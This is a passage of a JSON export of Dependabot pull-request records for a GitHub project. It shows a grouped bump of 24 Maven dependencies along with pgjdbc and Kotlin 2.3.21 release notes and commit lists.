href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3957\"\u003e#3957\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3957\"\u003epgjdbc/pgjdbc#3957\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: return jsonb as PGObject instead of String [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3956\"\u003e#3956\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3956\"\u003epgjdbc/pgjdbc#3956\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: align SSL key file permission check with libpq [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3952\"\u003e#3952\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3952\"\u003epgjdbc/pgjdbc#3952\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: guard connection closed flag with a reentrant lock to protect against concurrent close [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3905\"\u003e#3905\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3905\"\u003epgjdbc/pgjdbc#3905\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/78e261ff2a7f16a37bdceb2204f67e484387da2f\"\u003e\u003ccode\u003e78e261f\u003c/code\u003e\u003c/a\u003e fix: Add sources and javadocs to shaded published lib generation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/1e09fa0496377296c9e2ef3bfd2b409945fba17a\"\u003e\u003ccode\u003e1e09fa0\u003c/code\u003e\u003c/a\u003e update Changelog and website for release of 42.7.11 (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4042\"\u003e#4042\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/d479fa5b8c8c915a441ce1f2448f69f23dd0b66c\"\u003e\u003ccode\u003ed479fa5\u003c/code\u003e\u003c/a\u003e Fix scram fix location in changelog and update published artifact developer l...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/b04fc46af6c207bc7ce9e788fea8c43d18b73d0f\"\u003e\u003ccode\u003eb04fc46\u003c/code\u003e\u003c/a\u003e docs: Add scram max iters fix to changelog\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/cf548225b4078db954765339720ffdf3bc94e5a6\"\u003e\u003ccode\u003ecf54822\u003c/code\u003e\u003c/a\u003e test: Disable scram test on older version without scram_iterations GUC\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/7dbcc79b2b4adf7b71458c9434d2c43cec7713b9\"\u003e\u003ccode\u003e7dbcc79\u003c/code\u003e\u003c/a\u003e test: Add SCRAM max iteration tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/c9d41d1332a7426fcef19ff89f2e6b1116429143\"\u003e\u003ccode\u003ec9d41d1\u003c/code\u003e\u003c/a\u003e fix: Limit SCRAM PBKDF2 iterations accepted from the server\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/a340cb2b0ae24c0d98ad9dec569200ebb704d6aa\"\u003e\u003ccode\u003ea340cb2\u003c/code\u003e\u003c/a\u003e style: replace \u003ca href=\"https://github.com/exception\"\u003e\u003ccode\u003e@​exception\u003c/code\u003e\u003c/a\u003e with \u003ca href=\"https://github.com/throws\"\u003e\u003ccode\u003e@​throws\u003c/code\u003e\u003c/a\u003e in getBoolean javadoc\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/77837f80c0c20a9f33f9e21b091f4d4552f8e753\"\u003e\u003ccode\u003e77837f8\u003c/code\u003e\u003c/a\u003e fix(deps): update dependency org.openrewrite.rewrite:org.openrewrite.rewrite....\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/pgjdbc/pgjdbc/commit/23af03bc839af5217ea141946ae41e648264061c\"\u003e\u003ccode\u003e23af03b\u003c/code\u003e\u003c/a\u003e chore(deps): update actions/checkout action to v6\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/pgjdbc/pgjdbc/compare/REL42.7.10...REL42.7.11\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\n\n\n\u003c/details\u003e","html_url":"https://github.com/fraunhofer-iem/spha/pull/209","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/fraunhofer-iem%2Fspha/issues/209","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/209/packages"},{"uuid":"4425293189","node_id":"PR_kwDOC3no787aeeKj","number":428,"state":"closed","title":"chore(deps): bump the update-dependencies group across 1 directory with 24 updates","user":"dependabot[bot]","labels":["dependencies","java"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-05-19T02:46:43.000Z","author_association":null,"state_reason":null,"created_at":"2026-05-12T00:37:24.000Z","updated_at":"2026-05-19T02:46:45.000Z","time_to_close":612559,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): bump","group_name":"update-dependencies","update_count":24,"packages":[{"name":"org.jetbrains.kotlin:kotlin-stdlib","old_version":"2.3.10","new_version":"2.3.21","repository_url":"https://github.com/JetBrains/kotlin"},{"name":"io.ktor:ktor-server-core","old_version":"3.3.1","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-netty","old_version":"3.3.1","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-client-content-negotiation","old_version":"3.3.1","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-serialization-jackson","old_version":"3.3.1","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-client-core","old_version":"3.3.1","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-client-apache","old_version":"3.3.1","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-test-host","old_version":"3.3.1","new_version":"3.4.3","repository_url":"https://github.com/ktorio/ktor"},{"name":"org.apache.kafka:kafka-clients","old_version":"3.9.1","new_version":"4.2.0"},{"name":"ch.qos.logback:logback-classic","old_version":"1.5.26","new_version":"1.5.32","repository_url":"https://github.com/qos-ch/logback"},{"name":"com.fasterxml.jackson.datatype:jackson-datatype-jsr310","old_version":"2.20.1","new_version":"2.21.3"},{"name":"com.ibm.mq:com.ibm.mq.jakarta.client","old_version":"9.4.4.0","new_version":"9.4.5.0"},{"name":"com.google.cloud:google-cloud-storage","old_version":"2.62.1","new_version":"2.67.0","repository_url":"https://github.com/googleapis/google-cloud-java"},{"name":"org.postgresql:postgresql","old_version":"42.7.8","new_version":"42.7.11","repository_url":"https://github.com/pgjdbc/pgjdbc"},{"name":"org.flywaydb:flyway-core","old_version":"11.15.0","new_version":"12.5.0"},{"name":"org.flywaydb:flyway-database-postgresql","old_version":"11.15.0","new_version":"12.5.0"},{"name":"org.apache.commons:commons-text","old_version":"1.14.0","new_version":"1.15.0","repository_url":"https://github.com/apache/commons-text"},{"name":"org.junit.jupiter:junit-jupiter-api","old_version":"6.0.0","new_version":"6.0.3","repository_url":"https://github.com/junit-team/junit-framework"},{"name":"org.junit.jupiter:junit-jupiter-params","old_version":"6.0.0","new_version":"6.0.3","repository_url":"https://github.com/junit-team/junit-framework"},{"name":"org.junit.jupiter:junit-jupiter-engine","old_version":"6.0.0","new_version":"6.0.3","repository_url":"https://github.com/junit-team/junit-framework"},{"name":"com.devskiller:jfairy","old_version":"0.6.5","new_version":"0.8.3","repository_url":"https://github.com/Devskiller/jfairy"},{"name":"org.testcontainers:testcontainers-postgresql","old_version":"2.0.3","new_version":"2.0.5","repository_url":"https://github.com/testcontainers/testcontainers-java"},{"name":"com.diffplug.spotless","old_version":"8.0.0","new_version":"8.4.0"},{"name":"gradle-wrapper","old_version":"9.4.1","new_version":"9.5.0","repository_url":"https://github.com/gradle/gradle"}],"path":null,"ecosystem":"maven"},"body":"Bumps the update-dependencies group with 24 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [org.jetbrains.kotlin:kotlin-stdlib](https://github.com/JetBrains/kotlin) | `2.3.10` | `2.3.21` |\n| [io.ktor:ktor-server-core](https://github.com/ktorio/ktor) | `3.3.1` | `3.4.3` |\n| [io.ktor:ktor-server-netty](https://github.com/ktorio/ktor) | `3.3.1` | `3.4.3` |\n| [io.ktor:ktor-client-content-negotiation](https://github.com/ktorio/ktor) | `3.3.1` | `3.4.3` |\n| [io.ktor:ktor-serialization-jackson](https://github.com/ktorio/ktor) | `3.3.1` | `3.4.3` |\n| [io.ktor:ktor-client-core](https://github.com/ktorio/ktor) | `3.3.1` | `3.4.3` |\n| [io.ktor:ktor-client-apache](https://github.com/ktorio/ktor) | `3.3.1` | `3.4.3` |\n| [io.ktor:ktor-server-test-host](https://github.com/ktorio/ktor) | `3.3.1` | `3.4.3` |\n| org.apache.kafka:kafka-clients | `3.9.1` | `4.2.0` |\n| [ch.qos.logback:logback-classic](https://github.com/qos-ch/logback) | `1.5.26` | `1.5.32` |\n| com.fasterxml.jackson.datatype:jackson-datatype-jsr310 | `2.20.1` | `2.21.3` |\n| com.ibm.mq:com.ibm.mq.jakarta.client | `9.4.4.0` | `9.4.5.0` |\n| [com.google.cloud:google-cloud-storage](https://github.com/googleapis/google-cloud-java) | `2.62.1` | `2.67.0` |\n| [org.postgresql:postgresql](https://github.com/pgjdbc/pgjdbc) | `42.7.8` | `42.7.11` |\n| org.flywaydb:flyway-core | `11.15.0` | `12.5.0` |\n| org.flywaydb:flyway-database-postgresql | `11.15.0` | `12.5.0` |\n| [org.apache.commons:commons-text](https://github.com/apache/commons-text) | `1.14.0` | `1.15.0` |\n| [org.junit.jupiter:junit-jupiter-api](https://github.com/junit-team/junit-framework) | `6.0.0` | `6.0.3` |\n| [org.junit.jupiter:junit-jupiter-params](https://github.com/junit-team/junit-framework) | `6.0.0` | `6.0.3` |\n| [org.junit.jupiter:junit-jupiter-engine](https://github.com/junit-team/junit-framework) | `6.0.0` | `6.0.3` |\n| [com.devskiller:jfairy](https://github.com/Devskiller/jfairy) | `0.6.5` | `0.8.3` |\n| [org.testcontainers:testcontainers-postgresql](https://github.com/testcontainers/testcontainers-java) | `2.0.3` | `2.0.5` |\n| com.diffplug.spotless | `8.0.0` | `8.4.0` |\n| [gradle-wrapper](https://github.com/gradle/gradle) | `9.4.1` | `9.5.0` |\n\n\nUpdates `org.jetbrains.kotlin:kotlin-stdlib` from 2.3.10 to 2.3.21\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/JetBrains/kotlin/releases\"\u003eorg.jetbrains.kotlin:kotlin-stdlib's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eKotlin 2.3.21\u003c/h2\u003e\n\u003ch2\u003eChangelog\u003c/h2\u003e\n\u003ch3\u003eBackend. Wasm\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84610\"\u003e\u003ccode\u003eKT-84610\u003c/code\u003e\u003c/a\u003e [Wasm] Failed to compile klibs in IC mode\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCompiler\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84566\"\u003e\u003ccode\u003eKT-84566\u003c/code\u003e\u003c/a\u003e Prevent launching Default dispatcher threads from IJ SDK in kotlin compiler\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85358\"\u003e\u003ccode\u003eKT-85358\u003c/code\u003e\u003c/a\u003e Native: roll back the workaround for KT-84678 once MapLibre has been properly fixed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85626\"\u003e\u003ccode\u003eKT-85626\u003c/code\u003e\u003c/a\u003e  \u003ccode\u003e@JvmRecord\u003c/code\u003e in commonMain breaks compileCommonMainKotlinMetadata with \u0026quot;Cannot access 'java.lang.Record'\u0026quot;\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85405\"\u003e\u003ccode\u003eKT-85405\u003c/code\u003e\u003c/a\u003e Postpone/Revert \u003ccode\u003eDontIgnoreUpperBoundViolatedOnImplicitArguments\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84678\"\u003e\u003ccode\u003eKT-84678\u003c/code\u003e\u003c/a\u003e K/N: Undefined symbol from SPM-added ObjC frameworks when linking iOS target\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85021\"\u003e\u003ccode\u003eKT-85021\u003c/code\u003e\u003c/a\u003e False positive SUBCLASS_CANT_CALL_COMPANION_PROTECTED_NON_STATIC error in multi-module project\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eJavaScript\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-82395\"\u003e\u003ccode\u003eKT-82395\u003c/code\u003e\u003c/a\u003e Support top-level declarations from compiler plugins in JS incremental compilation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84475\"\u003e\u003ccode\u003eKT-84475\u003c/code\u003e\u003c/a\u003e K/JS: false-positive exportability warnings in multi-module project\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84633\"\u003e\u003ccode\u003eKT-84633\u003c/code\u003e\u003c/a\u003e Kotlin/JS: \u0026quot;Serializer for class not found\u0026quot; error when IR output granularity is \u003ccode\u003ewhole-program\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85047\"\u003e\u003ccode\u003eKT-85047\u003c/code\u003e\u003c/a\u003e Kotlin/JS: \u003ccode\u003e@JsStatic\u003c/code\u003e on suspend fun of class companion generates incorrect d.ts\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84517\"\u003e\u003ccode\u003eKT-84517\u003c/code\u003e\u003c/a\u003e K/JS: bad mappings data in outputted Kotlin stdlib source map\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eLibraries\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-71848\"\u003e\u003ccode\u003eKT-71848\u003c/code\u003e\u003c/a\u003e Kotlinx.metadata: Add \u003ccode\u003eCompilerPluginData\u003c/code\u003e into Km API\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eNative. C and ObjC Import\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85399\"\u003e\u003ccode\u003eKT-85399\u003c/code\u003e\u003c/a\u003e Kotlin/Native: TypeCastException when casting ObjC Protocol MetaClass with genericSafeCasts enabled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85508\"\u003e\u003ccode\u003eKT-85508\u003c/code\u003e\u003c/a\u003e K/N: TypeCastException when using nw_parameters_create_secure_tcp block parameter on 2.3.20\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Gradle\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84729\"\u003e\u003ccode\u003eKT-84729\u003c/code\u003e\u003c/a\u003e Update Gradle plugin-publish version to enable configuration cache badge on Gradle plugins portal\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Gradle. Compiler plugins\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85257\"\u003e\u003ccode\u003eKT-85257\u003c/code\u003e\u003c/a\u003e AGP/Compose: MergeMappingFileTask clears R8 artifacts due to \u003ccode\u003e@OutputDirectory\u003c/code\u003e annotation on AGP 9.1+\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Scripts\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85105\"\u003e\u003ccode\u003eKT-85105\u003c/code\u003e\u003c/a\u003e Scripts: JVM backend internal error (IR lowering) when scratch file contains anonymous object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85103\"\u003e\u003ccode\u003eKT-85103\u003c/code\u003e\u003c/a\u003e Exception while generating code when explain destructuring decls\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84842\"\u003e\u003ccode\u003eKT-84842\u003c/code\u003e\u003c/a\u003e scriptCompilationClasspathFromContext behavior changed from 2.3.10 to 2.3.20\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85029\"\u003e\u003ccode\u003eKT-85029\u003c/code\u003e\u003c/a\u003e Kotlin Scripting: ScriptDiagnostic reports \u0026quot;at null\u0026quot; instead of error location\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Statistics (FUS)\u003c/h3\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/JetBrains/kotlin/blob/master/ChangeLog.md\"\u003eorg.jetbrains.kotlin:kotlin-stdlib's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2.3.21\u003c/h2\u003e\n\u003ch3\u003eBackend. Wasm\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84610\"\u003e\u003ccode\u003eKT-84610\u003c/code\u003e\u003c/a\u003e [Wasm] Failed to compile klibs in IC mode\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eCompiler\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84566\"\u003e\u003ccode\u003eKT-84566\u003c/code\u003e\u003c/a\u003e Prevent launching Default dispatcher threads from IJ SDK in kotlin compiler\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85358\"\u003e\u003ccode\u003eKT-85358\u003c/code\u003e\u003c/a\u003e Native: roll back the workaround for KT-84678 once MapLibre has been properly fixed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85626\"\u003e\u003ccode\u003eKT-85626\u003c/code\u003e\u003c/a\u003e  \u003ccode\u003e@JvmRecord\u003c/code\u003e in commonMain breaks compileCommonMainKotlinMetadata with \u0026quot;Cannot access 'java.lang.Record'\u0026quot;\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85405\"\u003e\u003ccode\u003eKT-85405\u003c/code\u003e\u003c/a\u003e Postpone/Revert \u003ccode\u003eDontIgnoreUpperBoundViolatedOnImplicitArguments\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84678\"\u003e\u003ccode\u003eKT-84678\u003c/code\u003e\u003c/a\u003e K/N: Undefined symbol from SPM-added ObjC frameworks when linking iOS target\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85021\"\u003e\u003ccode\u003eKT-85021\u003c/code\u003e\u003c/a\u003e False positive SUBCLASS_CANT_CALL_COMPANION_PROTECTED_NON_STATIC error in multi-module project\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eJavaScript\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-82395\"\u003e\u003ccode\u003eKT-82395\u003c/code\u003e\u003c/a\u003e Support top-level declarations from compiler plugins in JS incremental compilation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84475\"\u003e\u003ccode\u003eKT-84475\u003c/code\u003e\u003c/a\u003e K/JS: false-positive exportability warnings in multi-module project\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84633\"\u003e\u003ccode\u003eKT-84633\u003c/code\u003e\u003c/a\u003e Kotlin/JS: \u0026quot;Serializer for class not found\u0026quot; error when IR output granularity is \u003ccode\u003ewhole-program\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85047\"\u003e\u003ccode\u003eKT-85047\u003c/code\u003e\u003c/a\u003e Kotlin/JS: \u003ccode\u003e@JsStatic\u003c/code\u003e on suspend fun of class companion generates incorrect d.ts\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84517\"\u003e\u003ccode\u003eKT-84517\u003c/code\u003e\u003c/a\u003e K/JS: bad mappings data in outputted Kotlin stdlib source map\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eLibraries\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-71848\"\u003e\u003ccode\u003eKT-71848\u003c/code\u003e\u003c/a\u003e Kotlinx.metadata: Add \u003ccode\u003eCompilerPluginData\u003c/code\u003e into Km API\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eNative. C and ObjC Import\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85399\"\u003e\u003ccode\u003eKT-85399\u003c/code\u003e\u003c/a\u003e Kotlin/Native: TypeCastException when casting ObjC Protocol MetaClass with genericSafeCasts enabled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85508\"\u003e\u003ccode\u003eKT-85508\u003c/code\u003e\u003c/a\u003e K/N: TypeCastException when using nw_parameters_create_secure_tcp block parameter on 2.3.20\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Gradle\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84729\"\u003e\u003ccode\u003eKT-84729\u003c/code\u003e\u003c/a\u003e Update Gradle plugin-publish version to enable configuration cache badge on Gradle plugins portal\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Gradle. Compiler plugins\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85257\"\u003e\u003ccode\u003eKT-85257\u003c/code\u003e\u003c/a\u003e AGP/Compose: MergeMappingFileTask clears R8 artifacts due to \u003ccode\u003e@OutputDirectory\u003c/code\u003e annotation on AGP 9.1+\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Scripts\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85105\"\u003e\u003ccode\u003eKT-85105\u003c/code\u003e\u003c/a\u003e Scripts: JVM backend internal error (IR lowering) when scratch file contains anonymous object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85103\"\u003e\u003ccode\u003eKT-85103\u003c/code\u003e\u003c/a\u003e Exception while generating code when explain destructuring decls\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-84842\"\u003e\u003ccode\u003eKT-84842\u003c/code\u003e\u003c/a\u003e scriptCompilationClasspathFromContext behavior changed from 2.3.10 to 2.3.20\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85029\"\u003e\u003ccode\u003eKT-85029\u003c/code\u003e\u003c/a\u003e Kotlin Scripting: ScriptDiagnostic reports \u0026quot;at null\u0026quot; instead of error location\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eTools. Statistics (FUS)\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KT-85628\"\u003e\u003ccode\u003eKT-85628\u003c/code\u003e\u003c/a\u003e KGP: composite build FUS metrics fail on access of 'configurationTimeMetrics'\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/fea1ad8c18995b80d1ca0e3917056104613d23db\"\u003e\u003ccode\u003efea1ad8\u003c/code\u003e\u003c/a\u003e Add ChangeLog for 2.3.21-RC2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/09c341e858b8f70d92955fc6b67d6a04962760b4\"\u003e\u003ccode\u003e09c341e\u003c/code\u003e\u003c/a\u003e disable swift export execution tests in order to update macos\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/67a08681cdd53b318217e6f35d835e0ab3b2e31c\"\u003e\u003ccode\u003e67a0868\u003c/code\u003e\u003c/a\u003e Avoid accessing KotlinNativeLink taskProvider when task was not executed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/f89e5dbc1867714116e17be1066d6c68e30cc2d4\"\u003e\u003ccode\u003ef89e5db\u003c/code\u003e\u003c/a\u003e [K/N] Disable TSAN in runtime tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/45d6c859c027c4e82b14b4861e36bc125600e2b0\"\u003e\u003ccode\u003e45d6c85\u003c/code\u003e\u003c/a\u003e [K/N] Don't generate generic safe casts for Objective-C types\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/9261a6f0790b7504e0223e9e0a0dd242fe0cc3f7\"\u003e\u003ccode\u003e9261a6f\u003c/code\u003e\u003c/a\u003e [K/N][tests] Add a reproducer for KT-85508\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/c9ab9db37a191f2eb1ce0f5b7ff502ca9d4b3a0d\"\u003e\u003ccode\u003ec9ab9db\u003c/code\u003e\u003c/a\u003e [K/N][tests] Add a reproducer for KT-85399\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/502e84484e520fbe1a93958be8da97e06a04d7ed\"\u003e\u003ccode\u003e502e844\u003c/code\u003e\u003c/a\u003e Explain: fix for destructuring declarations\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/JetBrains/kotlin/commit/0c26485d83f532aa8afbb868895061b7132fd7c8\"\u003e\u003ccode\u003e0c26485\u003c/code\u003e\u003c/a\u003e Explain: fix for object literals\u003c/li\u003e\n\u003cli\u003e\u003ca 